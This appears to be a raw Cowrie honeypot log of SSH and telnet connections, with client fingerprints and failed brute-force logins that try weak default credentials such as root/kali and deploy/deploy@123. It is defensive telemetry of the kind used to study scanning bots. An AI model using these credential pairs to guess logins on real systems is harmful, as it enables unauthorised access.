dsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:13.958158Z","src_ip":"192.109.200.237","session":"ecedc74a0c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:14.203993Z","src_ip":"192.109.200.237","session":"ecedc74a0c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.53.213.250","src_port":57575,"dst_ip":"10.17.0.5","dst_port":23,"session":"5099faa5ca91","protocol":"telnet","message":"New connection: 113.53.213.250:57575 (10.17.0.5:23) [session: 5099faa5ca91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:14.597208Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:15.365080Z","src_ip":"192.109.200.237","session":"ecedc74a0c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53306,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d73426a2037","protocol":"ssh","message":"New connection: 192.109.200.237:53306 (159.203.135.109:22) [session: 0d73426a2037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:17.044672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:17.050110Z","src_ip":"192.109.200.237","session":"0d73426a2037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:17.136716Z","src_ip":"192.109.200.237","session":"0d73426a2037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:17.382307Z","src_ip":"192.109.200.237","session":"0d73426a2037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:18.467503Z","src_ip":"192.109.200.237","session":"0d73426a2037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48656,"dst_ip":"159.203.135.109","dst_port":22,"session":"5547c969ad51","protocol":"ssh","message":"New connection: 192.109.200.237:48656 (159.203.135.109:22) [session: 5547c969ad51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:20.152554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:20.157597Z","src_ip":"192.109.200.237","session":"5547c969ad51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:20.240136Z","src_ip":"192.109.200.237","session":"5547c969ad51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:20.611246Z","src_ip":"192.109.200.237","session":"5547c969ad51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:21.696326Z","src_ip":"192.109.200.237","session":"5547c969ad51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48680,"dst_ip":"159.203.135.109","dst_port":22,"session":"699f7ca3172d","protocol":"ssh","message":"New connection: 192.109.200.237:48680 (159.203.135.109:22) [session: 699f7ca3172d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:23.379329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:23.387822Z","src_ip":"192.109.200.237","session":"699f7ca3172d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:23.469698Z","src_ip":"192.109.200.237","session":"699f7ca3172d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:23.715172Z","src_ip":"192.109.200.237","session":"699f7ca3172d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":44546,"dst_ip":"10.17.0.5","dst_port":22,"session":"385554234d54","protocol":"ssh","message":"New connection: 194.59.206.2:44546 (10.17.0.5:22) [session: 385554234d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:24.543748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:24.552094Z","src_ip":"194.59.206.2","session":"385554234d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:24.645607Z","src_ip":"194.59.206.2","session":"385554234d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:24.801876Z","src_ip":"192.109.200.237","session":"699f7ca3172d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:24.819676Z","src_ip":"194.59.206.2","session":"385554234d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48688,"dst_ip":"159.203.135.109","dst_port":22,"session":"00b12cdeaa57","protocol":"ssh","message":"New connection: 192.109.200.237:48688 (159.203.135.109:22) [session: 00b12cdeaa57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:26.542831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:26.547332Z","src_ip":"192.109.200.237","session":"00b12cdeaa57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:26.629176Z","src_ip":"192.109.200.237","session":"00b12cdeaa57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:26.874581Z","src_ip":"192.109.200.237","session":"00b12cdeaa57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.308483362197876,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:27.905548Z","src_ip":"113.53.213.250","session":"5099faa5ca91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:27.975939Z","src_ip":"192.109.200.237","session":"00b12cdeaa57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34722,"dst_ip":"159.203.135.109","dst_port":22,"session":"470cbedf0fb9","protocol":"ssh","message":"New connection: 80.94.92.184:34722 (159.203.135.109:22) [session: 470cbedf0fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:29.248688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:29.333737Z","src_ip":"80.94.92.184","session":"470cbedf0fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:29.445672Z","src_ip":"80.94.92.184","session":"470cbedf0fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48708,"dst_ip":"159.203.135.109","dst_port":22,"session":"892416fb6796","protocol":"ssh","message":"New connection: 192.109.200.237:48708 (159.203.135.109:22) [session: 892416fb6796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:29.683300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:29.687304Z","src_ip":"192.109.200.237","session":"892416fb6796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:29.769222Z","src_ip":"192.109.200.237","session":"892416fb6796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:30.021353Z","src_ip":"192.109.200.237","session":"892416fb6796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:30.418234Z","src_ip":"80.94.92.184","session":"470cbedf0fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:31.112696Z","src_ip":"192.109.200.237","session":"892416fb6796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:32.189587Z","src_ip":"80.94.92.184","session":"470cbedf0fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34820,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f9ceded648a","protocol":"ssh","message":"New connection: 192.109.200.237:34820 (159.203.135.109:22) [session: 7f9ceded648a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:33.016452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:33.020352Z","src_ip":"192.109.200.237","session":"7f9ceded648a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:33.103250Z","src_ip":"192.109.200.237","session":"7f9ceded648a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:33.355994Z","src_ip":"192.109.200.237","session":"7f9ceded648a","protocol":"ssh"}
